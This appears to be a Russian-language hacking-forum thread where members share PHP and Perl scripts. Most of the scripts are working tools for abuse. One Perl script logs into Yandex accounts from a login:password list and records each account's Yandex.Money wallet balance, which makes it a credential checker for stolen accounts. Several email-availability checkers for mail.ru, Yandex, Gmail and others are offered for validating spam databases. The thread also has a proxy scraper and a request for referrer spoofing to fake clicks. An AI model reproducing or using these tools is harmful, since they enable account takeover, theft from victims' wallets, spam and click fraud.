Разрешите побоянить =) Функция реверса строки: PHP: <?php $str = 'строка которую нужно реверснуть'; /* Самопальная функция для реверса строки */ function revers_string($str) { $return_data = ''; for ($i=0;$i < strlen(trim($str));$i++) { $new_str[] = $str[$i]; } $revers = array_reverse($new_str); foreach ($revers as $str) { $return_data .= $str; } return $return_data; } $new_string = revers_string($str); echo $new_string.'<br />'; /* На примере списка асек: */ $file = file('list.txt'); foreach ($file as $f) { $f = trim($f); echo $f.';'.revers_string($f).'<br />'; } ?> Результат:
Тем что я про неё не знал PS d_x PHP: <?php $str = 'строка которую нужно реверснуть'; function revers_string($str) { $return_data = ''; for ($i=0;$i < strlen(trim($str));$i++) { $new_str[] = $str[$i]; } $revers = array_reverse($new_str); foreach ($revers as $str) { $return_data .= $str; } return $return_data; } $start = microtime(); echo revers_string($str); $end = microtime(); echo $end - $start.'<br />'; $start = microtime(); echo strrev($str); $end = microtime(); echo $end - $start.'<br />'; ?>
Python[2.6] скрипт для массовой проверки Google PR, AlexaRank, Yandex Tic. Загрузить можно как из текстового файла, так и из базы формата dbm (сделано для M@rtein, идет определенный парсинг базы, сделано для очистки и выдирания БД Apache), если из текстового файла -то только список доменов, в выходной файл пишется link;PATH(если из dbm);PR,AR,TIC, претензия на ООП Прокся всеми потоками используется одна (экономно сцук , но медленно идет подбор если прокси дерьмовые), данные хранятся в оперативке, многопоточность, грузит минимум данных. Гуй естественно ) Code: Бля, не влез :( Слил сюда: http://dumpz.org/11933/
Может кому пригодиться, скрипт собирает прокси и сохраняет в файл...ставьте на cron и можете размещать список с прокси у себя на сайте PHP: <?php set_time_limit(0); //-----------------// $proxy_txt = "proxy.txt"; //-----------------// function curl($url) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4"); curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); return $res_index = curl_exec($ch); } $proxy_file = "proxy_temp.txt"; /* samair.ru */ $page = curl('http://www.samair.ru/proxy/proxy-01.htm'); preg_match_all('#<a href="proxy-(.*?).htm">#', $page, $page_match); for ($i = 0; $i < count($page_match[0])-1; $i++) { $curl = curl('http://www.samair.ru/proxy/proxy-'.$page_match[1][$i].'.htm'); $fh = fopen($proxy_file, "a+"); for ($p = 0; $p < 15; $p++) { preg_match_all('#<tr><td>(.*?)</td><td>#', $curl, $proxy); $success - fwrite($fh, $proxy[1][$p]."\r\n"); } fclose($fh); } /* proxy4free.com */ for ($p = 1; $p <= 2; $p++) { $list1 = curl('http://www.proxy4free.com/page'.$p.'.html'); $list1 = explode('<tr bgcolor="#ffffff" class="text" height=10>',$list1); $fh = fopen($proxy_file, "a+"); for ($i = 1; $i <= 90; $i++) { if(preg_match_all('#<td>(.*?)</td>#', $list1[$i], $proxy)){ $success - fwrite($fh, $proxy[1][0].':'.$proxy[1][1]."\r\n"); } } fclose($fh); } /* hideme.ru */ $list1 = curl('http://hideme.ru/proxy-list/proxy-list-1-1'); // Лист с прокси 1... $list2 = curl('http://hideme.ru/proxy-list/proxy-list-2-1'); // ...2 $fast1 = curl('http://hideme.ru/proxy-list/fast-proxy-1'); // Лист с быстрыми прокси 1... $fast2 = curl('http://hideme.ru/proxy-list/fast-proxy-2'); // ...2 preg_match('#</div><br>'."\r\n".'(.*?)<br></div>#', $list1, $list1); preg_match('#</div><br>'."\r\n".'(.*?)<br></div>#', $list2, $list2); preg_match('#</div><br>'."\r\n".'(.*?)<br></div>#', $fast1, $fast1); preg_match('#</div><br>'."\r\n".'(.*?)<br></div>#', $fast2, $fast2); $fh = fopen($proxy_file, "a+"); $success - fwrite($fh, str_replace('<br>',"\r\n",$list1[1])."\r\n".str_replace('<br>',"\r\n",$list2[1])."\r\n".str_replace('<br>',"\r\n",$fast1[1])."\r\n".str_replace('<br>',"\r\n",$fast2[1])."\r\n"); fclose($fh); /* Удаляем одинаковые прокси */ $_file=file($proxy_file); $_file=array_values(array_unique($_file)); $fp=fopen($proxy_file,"w+"); for($i=0;$i<count($_file);$i++) { flush(); fputs($fp,$_file[$i]); } fclose($fp); file_put_contents($proxy_txt,file_get_contents($proxy_file)); unlink($proxy_file) /* geforse.name */ ?>
geforse, а регистратор E-mail Яндекс регает только 1 мыло с 1 IP ? , просто у меня один регнится и дальше капча не грузится((
Мож кто-то выкладывал... PHP: #!/usr/bin/perl use LWP::UserAgent; use HTTP::Cookies; $url['0'] = 'http://passport.yandex.ru/passport?mode=auth'; $url['1'] = 'http://money.yandex.ru/'; $proxy = '89.110.23.94:5141'; # if u don't need proxy, just set # before this line my $ua = LWP::UserAgent->new; my $cookie_jar = HTTP::Cookies->new; $ua->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; MRA 4.2 (build 01102))'); push @{ $ua->requests_redirectable }, 'POST'; if($proxy =~ m/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}:\d{1,6}/){ $ua->proxy('http', "http://$proxy/"); }; open(ACCS, "<accs.txt"); open(LOG, ">logs.txt"); @accs = <ACCS>; close (ACCS); foreach (@accs){ ($login, $pass) = split(':',$_); $pass =~ s/ |\n//; $ua->cookie_jar($cookie_jar); $ua->post( $url['0'], [login => $login, passwd => $pass]); my $response = $ua->post($url['1']); $content = $response->content; $sum = 'koshel\'ka net'; while( $content =~/<a href="\/history\.xml" class="in">В Кошельке<\/a><br><span class="sum"><nobr>(\d+,\d+)/g){$sum = $1}; print LOG "$login:$pass:$sum\n"; print "$login:$pass:$sum\n"; $sum = '0 =('; $cookie_jar->clear_temporary_cookies; } close (LOG);
Вы, если, выкладываете то хоть описание пишите, ато когда ищеш что-то определенное читать каждый сорц немного напряжно.
UserJS vkontakte.ru / Скачиваем музыку и видео Так как мой бложег кроме друзей никто не смотрит решил выложить сюда... В обозревателе Opera пользователь может включить поддержку пользовательских javascript-ов что зачастую бывает очень полезным занятием. (подробнее о UserJS можно прочитать тут) Недавно накрылся мой любимый скрипт позволяющий скачивать аудио с контакта и я решил написать свой собственный на его основе. В итоге у меня получились два скрипта [ Видео и Аудио ] Первый соотвественно добавляет везде где есть аудио записи ссылку "Скачать »", а второй на странице с видео роликом добавляет "Скачать видеофайл »" (не удалось мне намудрить со стилями и ссылочка красиво не встала, зато эффектно выделяется
мда скрипты интересные а скрипт чтоб подменял реферер может ктото наваять?только чтоб куда придет кклик был не ip хоста где установлен скрипт а ip кликнувшего ктото возьмется за это?
PHP: function post($url,$post,$refer,$ua,$proxy) { $ch = curl_init($url); curl_setopt($ch, $ua); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); curl_setopt($ch, CURLOPT_REFERER, $refer); curl_setopt($ch, CURLOPT_COOKIEJAR, "./cook"); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_PROXY, $proxy); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); return $result; } post('ссылка','запрос/ null-если его нет','рефер','юзер агент','прокси')
хм спасибо конечно но мне кажется в этом случае ip того что кликнул будет с прокси или я неправа?а если убрать прокси то буудет ip хоста вопрос был в том можно ли так чтоб после подмены реферер туда куда придет клик был ip юзера а не прокси или хоста где стоит скрипт
дело было вечером- делать было нефига, вот начеркал скрипт проверки мыла на майле на предмет занятости, выражаю благодарность Flooser, который указал на ошибки, писалось для себя, цели могут быть разные (можете грабером спарсить страницу с мылами на майле а может спам базу прочекать на валид) Написан на PHP так что суперскоростей не ждите, мыла которые надо прочекать кидаем в account.txt а незарегенные получаем в good.txt PHP: <?php /** * @author Kusto * @copyright 2009 */ function curl($url,$post) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result = curl_exec($ch); curl_close($ch); return $result; }; $a=fopen("accounts.txt", "r"); while(!feof($a)){ flush(); $str = fgets($a, 100); $acc = explode("@", $str); $login = $acc[0]; $domain= $acc[1]; echo $str; $url = "http://win.mail.ru/cgi-bin/passremind?action=login&Username=".$login."&Domain=".$domain; $start = curl($url,$post_n); $z=strpos($start, "Пользователь отсутствует."); if ($z !== false) { echo"..........мыло свободно<br>"; $good=fopen("good.txt", "a+"); fwrite($good,$login."@".$domain."\n"); fclose($good); } else { echo "..........забудь- его уже юзают<br>"; } } fclose($a); ?> Прошу не пинать, возможно написанн и криво- но зато работает)))
как ты указал- так конечно намного красивее, единственное ошибка в коде- несортирует на бед и гуд (счас буду разбираться)
PHP: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html dir="ltr" lang="ru"> <head> <title>Проверь занято ли твоё мыло!</title> <meta http-equiv="Content-Type" content="text/html; charset=windows-1251" > <meta http-equiv="Content-Language" content="ru"> <meta name="author" content="b3"> <meta name="Copyright" content="Copyright (c) b3"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="-1"> <meta http-equiv="Cache-Control" content="no-cache"> <meta name="keywords" content="gmail, yahoo, yandex, mail"> <meta name="description" content="Скрипт определения на занятость логина почтовых сервисов"> <script type="text/javascript" src="jquery.js"></script> <script language="JavaScript"> var checked = 0; function check_all() { if (checked == 0) { $('input:checkbox').each(function(){ $(this).attr({checked:"checked"}); }); checked = 1; } else { $('input:checkbox').each(function(){ $(this).attr({checked:""}); }); checked = 0; } } </script> <?php function Form() { echo <<<HTML <table align="center" border="1"> <form method="post" enctype="application/x-www-form-urlencoded"> <tr> <td colspan="2" align="center"><input type="text" align="CENTER" size="30" maxlength="30" name="login" /></td> </tr> <tr> <td align="center"><b>ВСЕ</b></td> <td align="center"><input type="checkbox" onClick="check_all()"></td> </tr> <tr> <td align="center">yahoo.com</td> <td align="center"><input type="checkbox" value="yahoo.com" name="yahoo" /></td> </tr> <tr> <td align="center">ymail.com</td> <td align="center"><input type="checkbox" value="ymail.com" name="ymail" /></td> </tr> <tr> <td align="center">rocketmail.com</td> <td align="center"><input type="checkbox" value="rocketmail.com" name="rocketmail" /></td> </tr> <tr> <td align="center">mail.ru</td> <td align="center"><input type="checkbox" value="mail.ru" name="mail" /></td> </tr> <tr> <td align="center">list.ru</td> <td align="center"><input type="checkbox" value="list.ru" name="list" /></td> </tr> <tr> <td align="center">bk.ru</td> <td align="center"><input type="checkbox" value="bk.ru" name="bk" /></td> </tr> <tr> <td align="center">inbox.ru</td> <td align="center"><input type="checkbox" value="inbox.ru" name="inbox" /></td> </tr> <tr> <td align="center">yandex.ru</td> <td align="center"><input type="checkbox" value="yandex" name="yandex" /></td> </tr> <tr> <td align="center">gmail.com</td> <td align="center"><input type="checkbox" value="gmail" name="gmail" /></td> </tr> <tr> <td align="center">rambler.ru</td> <td align="center"><input type="checkbox" value="rambler" name="rambler" /></td> </tr> <tr> <td colspan="2" align="center"><input type="submit" value="Check" /></td> </tr> </form> </table> HTML; } class check { var $login = 'b3'; var $result = ''; public function check_yahoo($domain='yahoo.com') { $url = "https://edit.yahoo.com/reg_json?PartnerName=yahoo_default&RequestVersion=1&AccountID=$this->login@$domain&GivenName=&FamilyName=&ApiName=ValidateFields&intl=us&5745742"; $ua = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4'; $ch = curl_init($url); curl_setopt($ch, CURLOPT_USERAGENT, $ua); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $res = curl_exec($ch); if(strpos($res,'{"ResultCode":"SUCCESS"}')) { return $this->result[$domain] = 'Свободен'; } else { return $this->result[$domain] = 'Занят'; } } function check_mailru($domain='mail.ru') { $ch = curl_init('http://win.mail.ru/cgi-bin/signup'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_COOKIEJAR, './cook'); curl_setopt($ch, CURLOPT_COOKIEFILE, './cook'); $res = curl_exec($ch); if(preg_match('#var name_ = document\.uinfo\.(.*)\.value;#',$res,$matches)) { $field_email = $matches[1]; if(preg_match('#x_reg_id=(.*)&#',$res,$matches)) { $x_reg_id = $matches[1]; $ch = curl_init('http://win.mail.ru/cgi-bin/checklogin'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_COOKIEJAR, './cook'); curl_setopt($ch, CURLOPT_COOKIEFILE, './cook'); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "RegistrationDomain=$domain&$field_email=$this->login&x_reg_id=$x_reg_id"); $res = curl_exec($ch); if(preg_match('#^0$#',$res)) return $this->result[$domain] = 'Свободен'; else return $this->result[$domain] = 'Занят'; } } } function check_yandex() { $res = file_get_contents("http://passport.yandex.ru/passport?mode=constructlogin&login=$this->login&iname=&fname=&reqid=640480"); if(strpos($res,'"input_login_status":"free"')) return $this->result['yandex'] = 'Свободен'; else return $this->result['yandex'] = 'Занят'; } function check_gmail() { $ch = curl_init("https://www.google.com/accounts/CheckAvailability?service=mail&continue=http://www.google.com&Email=$this->login&FirstName=&LastName=&formId=createaccount&inputId=Email&dsh=-4209551778079217616"); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $res = curl_exec($ch); if(preg_match('#is available</font>$#',$res)) return $this->result['gmail'] = 'Свободен'; else return $this->result['gmail'] = 'Занят'; } function check_rambler() { $ch = curl_init('http://id.rambler.ru/script/newuser.cgi'); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, "back=&step=one&login=$this->login&firstname=Vyacheslav&lastname=Graberzcomovich"); $res = curl_exec($ch); $errno = curl_errno($ch); $error = curl_error($ch); if(preg_match('#К сожалению, на Рамблере уже есть пользователь#',$res)) return $this->result['rambler'] = 'Занят'; if(preg_match('#Рамблер и ICQ#',$res)) return $this->result['rambler'] = 'Свободен'; if($errno > 0) return $this->result['rambler'] = $errno.':'.$error; } } if(isset($_POST['login'])) { $a = new check; $a->login = $_POST['login']; if(isset($_POST['yahoo'])) $a->check_yahoo(); if(isset($_POST['ymail'])) $a->check_yahoo('ymail.com'); if(isset($_POST['rocketmail'])) $a->check_yahoo('rocketmail.com'); if(isset($_POST['mail'])) $a->check_mailru('mail.ru'); if(isset($_POST['list'])) $a->check_mailru('list.ru'); if(isset($_POST['bk'])) $a->check_mailru('bk.ru'); if(isset($_POST['inbox'])) $a->check_mailru('inbox.ru'); if(isset($_POST['yandex'])) $a->check_yandex(); if(isset($_POST['gmail'])) $a->check_gmail(); if(isset($_POST['rambler'])) $a->check_rambler(); foreach ($a->result as $key => $value) { echo $key.':'.$value.'<br />'; } } else { echo '<p align="center">Введите желаемый Логин:</p>'; Form(); } ?> Незабудь подключить jquery.js результат:
m0Hze Плохой способ скрытия по причинам: 1) После декодирования (в случае известного декодера) - получаем исходный МД5, который быстро брутится 2) Необходимость дополнительного поля в БД для расшифровки, которая ничего не скрывает Проще использовать mhash + MHASH_SHA256 - нет такой обширной базы хэшей, как для мд5, нет нормальной поддержки КУДА для этого типа хеша, плюс скорость перебора меньше